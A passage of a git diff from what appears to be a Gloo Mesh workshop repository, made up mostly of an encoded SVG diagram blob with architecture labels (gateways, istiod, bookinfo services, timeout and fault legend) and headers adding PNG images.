NccrmYXGZybWpcdTAwMTZXnlx1MDAxZlx1MDAwMmYjiIEgh++YXGaV+Uk+87xB1EpywVx1MDAwZYePISpM/b6knM4vXHUwMDA3d0FcdTAwMDH2XHUwMDEzpphcXLOVv5ZcdTAwMDE5wO9cdTAwMDRcdTAwMTIzLVSw3mgx7lx1MDAxMNiPmMarTJ7ivGdcdTAwMTXYQkpcdTAwMGW6TJhOalxirzw54iDGNeNcdTAwMDQsK2m2SefX47A5XHUwMDBlXHUwMDFjZsaTXHQ4j9XrmYnYwohcdTAwMTVT1iXxgpQyXHUwMDBlYalMhlx1MDAxMTVccu1W31xirNW0ilx1MDAwMyFcdTAwMDDhjC2uXHUwMDA3XHUwMDE3XHUwMDAzXHUwMDFh12C5akGIXkl4XGKEXHUwMDFlN8l4QsPNUHBWc6xmMkSZpFxmT1x1MDAwYvRcdTAwMTmQXHUwMDFmkyuJz6Jr/nL/uXZcdTAwMDRcZrSHXHJiXHUwMDEypE12XHUwMDA0XHUwMDEwQWCI+TTu3tdcdTAwMWLx6+b75cXoXCJOXz+uXHUwMDEyXHUwMDA3bVx1MDAwNVx1MDAxOMT6XHUwMDAysaKYaZxcdTAwMDJKhS5YX0Q6xkFcdTAwMDNKXHUwMDFiiMIkam1kfGldLHllR5j5YFxidCSQXHUwMDE4VUaseORgLUe/TExcdTAwMGUo8rhcdTAwMWR1P4ByXHUwMDAzQGmnm4WvbyQjXHUwMDAwe8jFl7/8M1x1MDAxMpDEXFyl5spcdTAwMTL7fuRRXHLHb/Vitv9cdTAwMTTp3pdPY6p4SCs0gIjgXHUwMDAwTDhgXHUwMDBmQZFcdTAwMWK0/3bQUFx1MDAwN+SCSa2SgCRcdTAwMTHazHlpXHUwMDEzXHUwMDEx2EC3Kb5cdTAwMTdcdTAwMWPsZsm9XHUwMDFjNI6Ja8E24T+sOMdLNiioMCmEPm5cdTAwMDfNj8jYQGSYblGMXHUwMDFhXHUwMDAwRsGskGDdLFx1MDAxYWRcYmBcdOVgWVx1MDAwMVx1MDAxNFx1MDAwMlxitVx1MDAxYTpcdTAwMDFcdTAwMWFcdTAwMDZ0JM3sNaAutFx1MDAwMGKNR1BcdTAwMTj7RVx1MDAwMlx1MDAwMFx1MDAwZoBhMVx1MDAwNcjJXHUwMDE4kDjFeFx1MDAxZYdcdTAwMDFcZlx1MDAwMzNCXHUwMDAzpCdcdTAwMDY8rcb/0jHWJUZgb8NcdTAwMTaFuzXMXHUwMDE0QprXXHUwMDA1kprDQ65cdTAwMDRgXHUwMDE4XHUwMDAzo8MqXHUwMDAwr4k0pufC5ozhYmwqODdBxEqMiKkjTY0qWFxm0iRVs7mKXHUwMDE5XHUwMDA0x8qNJVx1MDAwMUdcdTAwMDd4mZGVXHUwMDEw2y4hzMMgUlwiXHRcdTAwMDFcdTAwMWJccm46XHUwMDAxa0yvW43s58J3XHUwMDAx+iVPpUJcdTAwMDZYqTU8laVIrqKuOoT3R3fVUY2X2eTtXCLkMJJcdTAwMDPpmtbZYFxygVx1MDAxOb2oI4QjwVx1MDAxMFx1MDAwNtvQ0Fx1MDAwNiY7XHUwMDFjM+pwk6ZcdTAwMGZ8aGxUQrx6buJfhIdNSyxMXHUwMDEwWYpxSTBISID+XHUwMDBioVZcdTAwMTPh8eMzdyfEpTa0cEHDlMFDXFxvvVhcdTAwMTE1rmpn73fN0c2toqXh296Gin5cdTAwMWZBmVx1MDAxYWTToVx1MDAxMqHFXHUwMDEwXHUwMDE3Vlx1MDAwZeLCXGLqqdfT3UZo/1x1MDAxMEqBJkDGIVxigI5qtlTOXHUwMDBm8lpcdTAwMTif3I/VtchcdTAwMWJ/XG6E8kc8XHUwMDExgDyamUm0JlVcdTAwMGUpqlZ6eX1BXHUwMDBmrFx1MDAwN/DJ1Fcp4zVGbKVvzFx1MDAxN/VcdTAwMTjf2NTDXHUwMDA26lx1MDAwMTMl6Go3rz/ugVx1MDAwNSlcdTAwMDflXHUwMDA2gFx1MDAxMi7FqVx1MDAwZeD29EU+XHUwMDEx0yhTwprSdCsy3fpW4jx/6Fx1MDAwM8hcdTAwMDfwxy+fNjGaUbtcdTAwMTZcZoR87L03Mbdm9lx1MDAxOCzAmSRrXGZ141x1MDAxZvHI5O6FtlOF1Fx1MDAwN3pcdTAwMWPJ92bCJtlXtJ8ji+y/u95cdTAwMGJcdTAwMTRpXHUwMDA3KWzqXHUwMDE2wPJ0YVx1MDAxYvN905dcdTAwMTjAsDlcdFx1MDAwNNyC7Fx1MDAxOeRKkIoubYB8mGOgvMbASIRw6YV8pCPN/G6iXHUwMDAwUVx1MDAwYuLRf5NcdTAwMDE/ILm6jvE/RTbbelx1MDAxZLwoXHUwMDE5iVXu6V2nlPu85flEXCIpX92/76vXXHUwMDAxdkyHS0JNMbfWjLojXHUwMDA1s/6bwM2g4YUyoUCQI78/sWZcdTAwMDOGy+tOvFuQ7S555mf5yEVvMHjKeG5cbjlcdTAwMWNcdTAwMWJcdTAwMTdcYlx1MDAxMFx1MDAxYydcdTAwMTiEk2cnKiBcXIbINM/LdM5a2tRRNWCwkr95LFx1MDAxMf7WXHUwMDA0oLtR94JcdTAwMDCU016261xmtfRcdTAwMWZGXHUwMDFj0t7DXFxcYlx1MDAwN1x1MDAxMVx1MDAxM5BcdTAwMTaILLZcdTAwMWVGlDugXHUwMDAzxFQ7XHUwMDAyuN1N62HMgZixolxmXHUwMDBi04aMMq9cdTAwMDRcdTAwMTWujLNcdTAwMTjQN0BcdTAwMTawyT3aclx1MDAxYUxj/Ll/uOx7TE/ivU60XFw8i+a6k1ih+XqGmJeYMV5hXHUwMDAyloKGk6NSu1xu+GdSxtjapiuNVKY9XHUwMDA3Wm7yXHUwMDFiSPKt0VxmflxuOTHTptRcdTAwMTebXHUwMDE0juU9KdOzjnMgXHUwMDE1zoF6j7vzjJ32f727QPVbXHUwMDEzfNpu00uDuk1cdTAwMTJKYMHnP909pIJPM4B2QPtUTVx1MDAwYltcdTAwMTdGTlx1MDAwMEdcdTAwMDB7gMlcdTAwMDJcdTAwMTJFobmeXHUwMDEx25R8jDlcdTAwMDBcdTAwMWO5kGBAYaQ8UrpccoGANcaxNCFcdTAwMWOMltJWwewymUT6T5d7k9qFIK3BJVx1MDAxZr1Fbm9cdTAwMWVjqfLZhFjgXHUwMDE1iDsw3MCCM1lRWHmOnFx1MDAxMGBsXHUwMDExgCOcXCJF1Debbq3TXHRcdTAwMWXpaU27XHUwMDAyo1GB4iVcdTAwMWVdtzRcdTAwMTjTnFPTLszk+Fx1MDAxZn3XLVx1MDAxYvmbx1x1MDAxMuGvKft8O1x1MDAwYnBpN3w5XHUwMDExSK7RcLCeyHy+3+RcdTAwMWXYx2thmCroQm5cdTAwMWNccnmvZVx1MDAwMfrEpFthUOlGscxcdTAwMGI/LVxiXHUwMDE4XHUwMDE3XHUwMDE0XHUwMDFiWGhy2TYqm7b21FxiMj/S5Z74gnlgXHJcdTAwMTmOXGbxXHUwMDE42a9reHXMeXr5bIxeI5mbXHSf9K7Kmfcmcm/LRcA/8yPXX3dHx/uzLHz28+3s/Kaby41y+ZvhR/XmMVe+jW7hntWHXCJbu2iwqM7cJVx1MDAxYi2Vr/PmS1x1MDAxOGlh1Vx1MDAwMEnvXHUwMDBizpZdki27XHUwMDFlICmZT2WaNOVOwYPa/qdcdTAwMTnS2VwigiDip+eko1xcem53o0VcdTAwMDLOSOfCpGJcdTAwMWS0fW5cYodHukZsnD7E/93pV3ojd1vrPcxIX1x1MDAwMfF8hoLAjk9cdTAwMTY3vKcp6YJYfZtmxKIy5f6B2T9yNzzHzedIsfLSuiuWu/e1Tn+7vs3tR3YwMy4uqk2SPzzPV21rrlx1MDAxZFx1MDAwZa9cdTAwMTNTKMS10Fx1MDAwYvs6JMjlpkKbr+6TXHUwMDE1Uow7vHqJV55cIk9njdNL9HLOXG5RpDub449cdTAwMWaMu9Pj/Vl2d8s+yfRlLnpTKE7yo/SgVSieS1raXHUwMDAyKTSutcg/3JdcdTAwMWVbg1x1MDAxN8qy2WY/01x1MDAxOYaRxFZBZ+9cdTAwMGJcdTAwMWVcdTAwMTI6+1x1MDAwNFx1MDAwNqmUiK3TXHUwMDEyyP84Q4qdQX1yXHUwMDFm9Sm4g7alPreBnU2OkYlShngq35+JnVcgx4NhZ5/YmOsolvpWYESpVMHtZn/RXHUwMDFmztiYRFQ7ylSnc8SQVFx1MDAwYqyvpVx1MDAwM9YyZ0Sbsn1uz1x1MDAwNt9oXHUwMDFlsXamJYJEmGeKPDpqXHUwMDEyR1x1MDAwM9PDe9R09NOYLlx1MDAxN1xmaTNV+Sc0XHUwMDE2NDQ2LVx1MDAxNFx1MDAxM0DhsFx1MDAwMylNnY1HXHUwMDEwylx1MDAxNNkgbCrPhcKKfzNcdTAwMWLKXyyczEfGJDJlM5JcdTAwMTCmTVx1MDAxYlxij1x1MDAxYy3sXHUwMDEwicHi5erXR8jSro5sXHUwMDFjsZX+zSOyTPqz9f5y//lccumn7dn+XHUwMDFjKyY4XaOhlT9CXHKp+KOYOZRcdTAwMGJOlGlTRFx1MDAxNsVcdTAwMWZ2OLyskJKaXHUwMDEybm9otVFmXHUwMDAwgvvPXHUwMDE4VlhKwTT2qqnGjqnHYZwqbrqJuFPV/slccqDa9Fx1MDAxMTkkKFxuhVx1MDAwMFxmLGxM41x1MDAwM63NXHUwMDEwUkwk1657f+JcdTAwMWF9hVx1MDAwMflcblx1MDAxM6Ln5iPLoiaQXHUwMDAwnMTz9CH++II/6uz+vXtcdTAwMWbJPVx1MDAxNrj3npDS0vSy4SZui1xchU1fmzLRXFzOXHUwMDE0QppiXHUwMDAw7uS4s0HtxG9cdTAwMWWRZbrflvAjyG72XHUwMDExJIWYVotcdTAwMDdcdTAwMTZ+/lx1MDAxMbNwXG4/053I1FhgM8RKcDyfXHUwMDExqvW07pQwk4Zrxv7sXHUwMDA2+4H4nVx1MDAxNqSbfoKaXG6vXFx4YFRKXHUwMDExwZIyoai73+vXXHUwMDE4ZsrNXHUwMDBl/3jh51x1MDAxZryYR1pcdTAwMTgxPG1zQ6gyrUJd2YizzChp2lx1MDAwNFxiaXJcYqVcdTAwMTb/II81xV9yknzIP90lR/ItNm5cdTAwMGXUaYSeV234XHUwMDBmRFx1MDAxZiemXHUwMDExmEnTJ3JpU8JcdTAwMDEzhIJQMOZcYlx1MDAwNbR41OIvYqX/6bvLpL897KfsaVHTaVx1MDAwNYRcdTAwMDX3evnH9UMq/aikjulcdTAwMTBcdTAwMGaHr7k7mfyX9GOOMmMgmcHlXFztSPptxfI1tpuhjz99XHUwMDE0a2DpXHUwMDA3wk8jzSmb3mFNpPLIPVx1MDAwN9UoNCFcdTAwMTKZalx1MDAxNPnNdPg1MvSxmTKJkGmNiMxk9GXRp1x1MDAxZKBcdTAwMTFcdTAwMTDGzFRFmrr3bYi+/2DD1z9krqxzMpiQRtquMSbDf+BuSL3+pk7WUcBcdTAwMDdcdTAwMDBcdTAwMDDM83ytO+FcdTAwMDSUsTF8NZhcdTAwMTmc+FxydVxm0LHWJlx1MDAwMVx1MDAwMYY7xPVgXq3OiXC0++Hayu82XHUwMDEwXGIwXGZcdTAwMTOH9P5tXHUwMDEyRe82XHUwMDFiqn97z/rds4nq8Wrj45m2tlx1MDAxMNvzn4/uu+7ST97LXHUwMDE0OCrt7njOTT8gd9RnJSp5XHUwMDE5Z/VcdTAwMTh1X16v9Gk3WzuLXHJf6HdQyVwi6e+SJ6VPtjbRKChPXHUwMDA2qFH+P8VcbiuWi8s8+d10bdNTWru9ZEfFhKlh+TbVL1Ri1bN65TmfmpBh+vEnlWVbqSw7Ot5jWXZVVoT3XHUwMDA19yCPbVlcdTAwMTHUXjZDXHUwMDEwI4Iht7pdJYr9zzO0XHUwMDAwSfmkXHUwMDE0XHUwMDEzzVx1MDAxZFx1MDAxZUxcdTAwMTgvplxm7igvwjTAVVxcre6z+mclRoCF1oPdnfy7U4VcdTAwMGKOXHUwMDBin/vNJ/ZcdTAwMDchizlcdTAwMTH/bHZpq3vKJGbYOmdUMqZcYlnHLOpUL/upq3yPXrHHXFzsJnPba9/chFx1MDAxZYBxO89TJcJcdTAwMGLAiFx1MDAxMKal6iHdQJvgr6Ksvb0k3/upp0nyPYfqXHUwMDEx1ny/+cFf28JfOzreXHUwMDFkLYsznZIoZfLFRiV7jk5jyTM0vvuDTmFcdTAwMTVcXPS+4Fx1MDAwMeFcIuM+XHUwMDE1KGbGxDrddfyPM7xoXHUwMDEx+WhcdTAwMGWTSlx1MDAxMi60iCk3gz5cdTAwMGbZQSyEaLFS6Fx1MDAwZsaV/uBAcHFcdTAwMDVkWoSLX7s9XHUwMDE0Xlx1MDAxNMTqRjfdXHUwMDE1TNcyXHUwMDE53EzsRlx1MDAwNk+x23F21CmPXHUwMDEyw3L2XHUwMDFhfUwyYWd8M1LI0Vx1MDAwNFx1MDAwMUlOn2dE+cuPTlx1MDAxZKwxsD1cIopcYqo2m/y2Wz86JkpihdxcdTAwMTg/dDLBT1x1MDAwZu/KkZ6sds5JOWNM61x1MDAxNL5cdTAwMWOdRe5Gr3RcdTAwMGLrsmFcXJ1lPq5cdTAwMDaf8VKkOHpcdTAwMTjcXfZcdTAwMDKCyJ1peP9mKq4y8lx1MDAwNXZXyGQwIFx1MDAxY5zbRe0zM3xcdTAwMWPWu9FWolx1MDAwNlx1MDAxY9dHMV5cdTAwMGK3eSgxkY5cdTAwMTJcdTAwMWNJM6NcdTAwMGLJ+Vx1MDAxNqJggc3z+kbWISGqWPHKXHUwMDE3/ZZ1SClAXHUwMDBmKdiRWofvl1x0na/1XHUwMDE1Pvt4Sl3HbmPJ4lX2xzrclnW4o+P9w5ddZcV5X3BcdTAwMGYy3mbFcWb1/mEqsVx1MDAxOfysgmeF+Z9naNFcdTAwMWMlPlx1MDAxMl5RR1x1MDAwNJLwO7HiyDJiQ1x1MDAxYylTolx1MDAxMGLEdlxiK+5jUFx1MDAxOFx1MDAwZWru4/8y3bCc+3hw023Qdf3KXHUwMDA1u21cdTAwMDWWWbLbXHUwMDE297cnc41cdTAwMGL79Fx1MDAxYo6omeKzRrFz66WUIM2HdCtBUuX3XHUwMDAyXHUwMDE5Nl7ZXehcdTAwMDGccrTNS8PAilxuK4BcdTAwMDPTUlHKcJije37atanGupgpdnhcdTAwMTEk1mmPvudx7ce/vzVcdTAwMDS3o+P9WXZcdTAwMTfLrlx1MDAwMobeXHUwMDE3PCAwXHUwMDE0xJ6YpziVkok1pqb5n2d4gSH10Vx1MDAxY4SHXGZcdTAwMTiaQlx1MDAxYVDmYe6eelx1MDAwMGDYg8uctOrt+sDSXHUwMDFi49vocIVjf1x1MDAwNVZaXHUwMDA0iN773Fx1MDAxN0pk1mCeQFx1MDAwMpidXHUwMDA2r1xuf77MdEVnXFy8LFx1MDAxNSOvlZEoPV7en4VcdTAwMWUjXG67XHRIaXgxXCI2Qzi1cDcsXG5cdTAwMWTT+yna56d0mSZcdTAwMDf3qUG8eXX18FaN3eDEXHUwMDBmRtxcdTAwMTZG3NHx/ix7RMuugp7eXHUwMDE3PCT0dCWOLEJPzVx1MDAxMEZmjEJwdeR7nuGFnthHIfGwQU9hXHUwMDA2VyD5k1nyi8D/gXSVcr2/V8y5XHUwMDAyey1hzvlccm5cdTAwMGZsWpPGsL3/XHUwMDEwpZhcdTAwMTOO10hcdTAwMWVJ5VG8f1EtRrPNaGOQi0VcdTAwMTMlNv5cdTAwMGXS3CNjXHUwMDEzLVx1MDAxZKQ4SDFMmKtcdTAwMWKT+brgjlJcdTAwMThNR0YpXHUwMDA2ZGnl6yCJIzagSahHuyG53GJcdTAwMDNcdTAwMGKTtkbQXHUwMDAxkeWqXCJzPz16oExcdTAwMGJPiaHmXvWRXHUwMDE41Va3XHUwMDFiaVf6tUihXFzudvr/7nRcbvBPILCKp1x1MDAxY1x1MDAxMd9NSvOJbMz9ikWJ4bdBX4lg7Uvh7uC3VHaETd27XFyjK4//XVx1MDAwZqdIoJI5QjAgLMY01fNtKTCjXHUwMDBlJ6DoXHQ1jcl8ZpVtXCJcdTAwMTMwMVeRklNCQFxiK4/x41o4yPTO0JoyjoVezjeRiDKkXHUwMDBmaYmGoimFv1Y6WVx1MDAxOFx1MDAwYkZcdFPwrDCRaq5cdTAwMWbC71x1MDAxNlx1MDAxMID0qFx1MDAxOVx1MDAwMcsxV2aO9DdnlfnnWc5viinNMFx1MDAxMchMLKPwtLQnTFx1MDAxZEE4Z0oyisx8yePuSFx1MDAxNrFSv3ks0f1sub/cf64v+OxmXHUwMDBlgFx1MDAwNFxyXGYvglx1MDAwN2af0vFqhrLBxVx1MDAxNX+8LL1WXqMvmdOQyz2itENBulx1MDAxM63F4nBawFx1MDAxZCBcdTAwMTOpYiBcdTAwMTZccn/4iL1cdTAwMDBcdTAwMTNcdTAwMWNsYo9Th8DawFVYgnylM5k268OIhcNcYqVCSqq5oMtcdTAwMWU4JFx07JSKP6VcdTAwMTWZ3SywXHSf88f+pXjv0WykXHUwMDE4qZFRLFx1MDAxZFx1MDAxOZduvIRcdTAwMGZyqFx1MDAxOYktgSYwwGNcdTAwMTB6yy1qTTRfw11cdTAwMDPxxCSA5a00gz2c7LGS4PTdJepbU/isyOQni6/OKni4lpTwNZrBtmKs3c98ptSg0r+aRMt3k2y1XHUwMDFiblx0xEHI+pR7g3hiplx1MDAxYlx1MDAxOJxcdTAwMDNiiodqiFxmkIvW6pC22SZe/0g70cZ6dFx1MDAxZb9o8Fxu7mb02ehM/3j9t+X139HxXHUwMDFl17K7mmh4LKewyu3vfcHZsksyYOduf5/+lGBcdTAwMWUjsDXWyDjxP8+Quv1BIfk0g4Lf7+htKaTtuP1cdTAwMTHGaK7QN3Rq6Fx1MDAwMG7/TndcdTAwMTCpd6Zesv0mnPgjsEVXnuc2XHUwMDBm33SEM0blWsjzKvP6rKrisXczem1mz3h7lO1/q1x1MDAxM/f+XHUwMDEyTqbIk1rje4o6iivBpdBMm9bHVk5cdTAwMGaScbLlId3TyVDqaFsvXHUwMDE2Luo8X5J376L3NqmSzmf/JoU21987WnZXkDbxcin1Qyt7l/gooVJNX4/uXG7XW1i3XHUwMDEyRa/lizhm2YfKuPEuy9VHtFxyqHxcXHftWJZdhVx1MDAxMb0veECMyKg1K1lqyVx1MDAxOVonKdn/OMNcZlx1MDAxMa2agyHs0K1pjm1gRK7M1Cb8M/b6XHUwMDE3fX81fds/PFxcXHUwMDAxk5b70u1cZlx1MDAxYdpbXG7ZW4swgSgja+R95e9jjdhEd3Bb3yffWaxUqXeew+2PXHUwMDE0SCtHXHUwMDAx92rJiOB8hpGn2SHUQYQqpbSUXHUwMDEyUUrtvL1RKJh5wECP9Fx1MDAxMLghmHBcdTAwMTbm+Xt+urTZeymqSaT2XHUwMDE0Pzsjspb+TJ1fXoY9PaQ2XHUwMDE4vFx1MDAxNeud0GWFeOzLV1x1MDAwMFhjoqDDrVx1MDAxMlx1MDAwMEupOGEyuGHof4/DKVx1MDAwMjBFjklcZlx1MDAxM6Z7XHUwMDA3Q/Mt+s3Qe1x1MDAxM1x1MDAxNZVGuXO8K1x0gLTDXHUwMDA00YJQTM2EOY98MaVcdTAwMWNtXHUwMDA2pVx1MDAxMVx0up1rvTyjXHUwMDA0wFx1MDAwN9NcYlx1MDAxZLI5eCjSQfz10MlCOojApoBcdTAwMGJcdTAwMGKCMVN0eUjJfDpcYlx1MDAxMf9MR1szXHUwMDFkZPT5ksy88tObp+xjQ+XvYpVqLmvZlICriOnEXHUwMDE5qjmadbP62lx1MDAxM1x1MDAwMYrVhFx1MDAwMCBEwL9cdTAwMTJ5TI06qpCsnf7NY4nyZ+v95f5zbdnnznxdbqgokeZcdTAwMThcdTAwMDeXfVx1MDAwM5W+u7p7Pb3Nju/vzuOvolx1MDAxNuNVi+xcdTAwMGKNcVx1MDAwM2RG3GPJ59NjqXK7v1x1MDAwNcZcdTAwMWJ1VLT24pWOdD1cdTAwMTTxXHUwMDE40YRn2/7HzCFmivpBy7BCklx1MDAwNDL3zjHxvfW+m1x1MDAwN1xihTX53GbkXHUwMDEwXHUwMDE3jSyyuZRmXHUwMDBlXHUwMDFlXSPfNXemK5nL1H1jnDnvd0aZ986pXG5/m32GTUWlMlmG0+c5NpeMg/hcdTAwMDVcdTAwMDSkXHUwMDE0XHUwMDEyyF0x8J28XHUwMDBia8ft2bIz74VcdTAwMGJP/WPlSNBcdTAwMDPAXHUwMDFkXHUwMDA3rKneLV9/y30xwt6eXHUwMDBiNffJ3dtcdTAwMWSwj+/xoI+jXHUwMDAxXHUwMDAwXGYzyj24qu0kes+dzvVd5PY0XHUwMDEy553SgLVSt6HnQU6lgyiWxrFcdTAwMDLPfIlcdTAwMDfdunYnLEi8OpYusSBcdTAwMDNcdTAwMDZEmshcdTAwMDOWloWRXHUwMDAzSUg4kHyXXHUwMDAz7bmHZtghV2SNllx1MDAwMy9KRmKVe3rXKeU+b3k+kUjK17BzIGhcdTAwMTbqYPnVRZgtcaC7xnM3LFx1MDAxOFBcdTAwMGJyYbYpwqxcdTAwMDW/ruHh6+NcdTAwMWbxyOTuhbZThdRcdTAwMDd6XHUwMDFjyfdmYnIgX9+fo2OV3ZVnylx1MDAxZuVa3vxkup5+fs2fdtJcdTAwMGaVXHUwMDFicXeKkqP7i9BzOEBbXHUwMDA3IYs5XHUwMDBimtfBVDDKXHUwMDAxZEpkL+LevY6VgMilOOhcdTAwMTipXHUwMDFmXHUwMDFku3VcdTAwMWRLsV3HXHUwMDAyouJcbq0x8Fx1MDAxYtVcdTAwMTOpyrhcdTAwMWLNXzx9duL9s/z5xXn4O3hNXHUwMDE5UEmKMFdyvk2/NDaoi/18iq034T+PSspl/iNcXFx1MDAxYi1cdTAwMWbmWNoh+I+GhP+oP//5XHUwMDE32Ui7u0dcdTAwMTNikjRQcC4sPZBLlbt8fMxflVx1MDAxMvHJ7Vx1MDAxM76pv1m4MCxcdTAwMTEtpMxg9d8pzVx1MDAxYc1zIcYm5I2VlqZcdTAwMDSKbGpqbjfVUSOOpORhzl3xg73jtKyn2s1cdTAwMDZXXHUwMDE38cGdKMRf7mJcdTAwMWbhTUk8tiqbXHUwMDFkXHUwMDFk73Etu6sqm+M6ha0vuyox0/uCs2WXRMuuXHUwMDEzM6WwjonBjClJsF6jsY//eYZcdTAwMTRsgqJcdTAwMTM+io5g4dBtKbqtZGZqzE2F/U/xzolcdTAwMGJ09lx1MDAwMcqVXHUwMDBivfLJQ7fsXHI/d5SeuVx1MDAwMtotglLvfe6rfEdbW1dcYoS0Ru4mxKuYvZ6+OL9S9+3m2/OI5PFL5zPf+Vbrij3OXGZGXG45dPZYyNJcIoo5XHUwMDFjXjVcdTAwMTJBc/dstcOX71x1MDAxMKVcdTAwMTjV9FhnXG4gffU6yH622/3bRv1cIsHyyduoXHUwMDA1b6yjwHe07E/1zjHetT982VXY0/uCXHUwMDA3xJ6cWrVcdTAwMTFcdTAwMDVRLMVcdTAwMWEpw/6nXHUwMDE5XuTJfdRcdTAwMTFFxEHbUkdbqVx1MDAxYsdYM4l+6sZ/0/dvSFx1MDAwN0juZFxcXHUwMDFm1E6inVHXe1xi8a7A51xuXGa2XGI+bTvd17RcdTAwMDJtXHItSkNXgHGCR1x1MDAxNvtDxJ/KldHV5L3/pjqpUTf3/vlcdTAwMWT4uU9+lyZcdHnWKGKB3yV1MGJCacaQXHUwMDE2ZLPI4nbnXHUwMDE1KMJNv7djXHUwMDFkN1xcRY+kV/h8XHUwMDFlJqpcdTAwMGaNm/G9KKF4Pbw48dhcXKo7Ot5cdTAwMWQtm9FJrahKNZovN72qXHUwMDFhX1xm38eNLZzCbVx1MDAxZEXaspZLN9J3TyPRiohKbVx1MDAxYjOtU6gkq1x1MDAwNdS7xplBulx1MDAxMLtAMfze2cK69aHI1i5cdTAwMWEsqjN3yUZL5eu8+bKFdVx1MDAwYq/3RVx1MDAxNc/K+GnqQdQnTZ3M1ZJ/XHUwMDEwla1cdTAwMDLi3lx1MDAxNzwgXHUwMDEwXHUwMDE3zOpcdTAwMDQmXHUwMDE4aVxuSHSNYbL+51x1MDAxOV4oTv1Us0aOXGKkmvc0uYHAflx1MDAwNVfuVJHQKeRcdTAwMDNA8Vir2z25rfRre3dcdTAwMDOvgKOLSNyy0T1cdTAwMDFxn0ktminiLv5cXMXtUZqJXeTPkj2kblx1MDAwYqfdrmB9XHUwMDExPy5cdTAwMTg+z+pMYEfAW1ghTKjGdGFfW0rg/Vx1MDAxNlxul0SYrm1hnlx1MDAxNOinaVx1MDAxM7FJfHD6nnuL3pROXHUwMDEz6atiXHUwMDBlXHUwMDE30z8ofFsofEfHe1xcy+4qseFYTmFcdTAwMTX49L7gIcGnPVx1MDAwM4FoXHUwMDA2yFx1MDAxM6/RUtD/OI9cdTAwMDR7LugjqVx1MDAxZFx1MDAxY0hcdTAwMWbtXHR6KiYl46GORFx1MDAxZVx1MDAwMHnG+4N6d++oc1x1MDAwNfpaRJ1cdTAwMWWb3H13KEGtXl+wppik68R5UuSxVEokhk/9/rj9LNPV55vkdehcdTAwMTlcdTAwMWMj4vCZbTlfT4IxXHUwMDE1XHUwMDAx4zybZlx1MDAxOOnZ/r9cdTAwMTicLpeNXHUwMDExzLSkMsxcdTAwMWPup1PbXHUwMDE3+cZw3Ph4i+WzlUyny1x1MDAxMlx1MDAxZqlxMFxisIn285RcdTAwMWaBW0TdVKqVjrfwcNVcIuwncf73Xr7F7ZLQxVdnbVx1MDAxMrhcIlxcSrJG3nylnW11Y+Syfks+SsXBW7GXXGZ9gajQmjmm25NgJsLL57uBR4Rw25dIb2Rg+rK79KhcdTAwMTJdZneCNYdNhtmT5Mft5/W2pvFaXHUwMDA38bzMpVx1MDAwNzh691ggYef281Z97o5cdTAwMWSS23/vxZfbfVx1MDAxYb9Zm/+bvjpqjbau/jcynJ4kbfJcdIGZQawx5FaYU05nylFcdTAwMDKZgWtCXHUwMDEwXHUwMDA1vL5ZkYx9XGKgaYEjpGk0XHUwMDA1ulx1MDAxYkDEMttLx3SMICaRXHUwMDE5S+quWPtnXG4gx4Lw/+B2XHJcdTAwMDHbvvlrnFx1MDAxM/fMK8xBvGsuNVVcdTAwMWMrj1x1MDAxOYCYOUSYOc9KSGU6XHUwMDA1rFx1MDAxOFx1MDAwMni0LZhcInZcdTAwMTI0jyXim633l/vPRenzO0xcdTAwMTmtxZvNTDRyIyvXldPY5+Pj7dXsh1hE1O9+RdRB/3RcXNZ0vueygDepVpQhQlx1MDAxOfyDLjNcdTAwMTZcdTAwMDZVPXtI5dFSzJXSsiwjtuExXlx1MDAwN+PsXCKT2ltcZmyNy//xbEukmVZLrqC/TctKm4Yx3bJN9XuQpKFFaTLHK9+RJ1tlIDulTd9V7ixBSuWq5cT8XHUwMDE3NHOvpvns60s3LKDUWS1H2XMrmz6bXGZcdTAwMDdy9FmM0k68iZ+ol1x1MDAxYzWDSzVcdTAwMDGz1zRmVCAnXFxcdTAwMWRVTmbtMzEjikvzXGZcdTAwMWGVYH9BatvUxZi/Z6qJ57fCaaxXqfQnsqTOLZuiXGKbclxiXHUwMDAw6pQghZb3pFx1MDAxY6xmPVx1MDAwZkHmLe3pO1x1MDAwMtpHXHUwMDEwdlX8+vXzvCfaJJFXp1x1MDAxZlxcT0r9gIJQKbsglGq1IJzJg1krWT909CP5gko+gVx1MDAxMIP/XFwtXHUwMDFk3Fx1MDAxOdJWW1x1MDAxYfCEXHUwMDE5PVx1MDAxOSRQXHUwMDFibtFHsY/kk/OCjIhVq0Xmv0HwfFx1MDAwZliPZpDbXHUwMDE3fYGljIGQxlx1MDAwMUCxVqalhau48EvKSEd99XozJfnse5Kv2EVR2cs00neqkE42oue5XHUwMDA0te1cdERcdTAwMTlcXFx1MDAwZnQrXHUwMDAwXFzQrnxpT9xRXGLeoNNntbyjLcu9x1hLnlx1MDAwM2Hmc637yESkY40mOV2We/NcdTAwMWWpX73yXHUwMDEwdrhN7Fx1MDAwMXBfJfa8ovIuXHUwMDA3yo/Y+77Yw0JgiSlTXnJcdTAwMGbb2zxcblx1MDAwMnRcdTAwMDfsclx1MDAxMMH3j/tmUG9XukNcdTAwMTe1re1cdTAwMDT6plvH20+0hrPnn517stvqPEHbbSFIXHUwMDEzOEK+hmv3LpW6K4zribqgZ69XqnFZfm9kwsNcdTAwMDW27puM2IGUXCLUkVx1MDAxNFx1MDAwYkk5mMJM7KY1mPRo67/s1WXEiGZ3cH3HfL3DIGxgt+prYdhcbolX9ddWfrHZX79P8u/C29vTXHUwMDAwjuJLUf89qlfGZ/bi4b9+M6lhh4o51f/537/+9/9cdTAwMDN8xtGcIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClienttimeoutfault \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/traffic-policies/reviews-unavailable.png b/gloo-mesh/platform/2-4/airgap/default/images/steps/traffic-policies/reviews-unavailable.png new file mode 100644 index 0000000000..49d4442749 Binary files /dev/null and b/gloo-mesh/platform/2-4/airgap/default/images/steps/traffic-policies/reviews-unavailable.png differ diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/zero-trust/bookinfo-rbac1.png 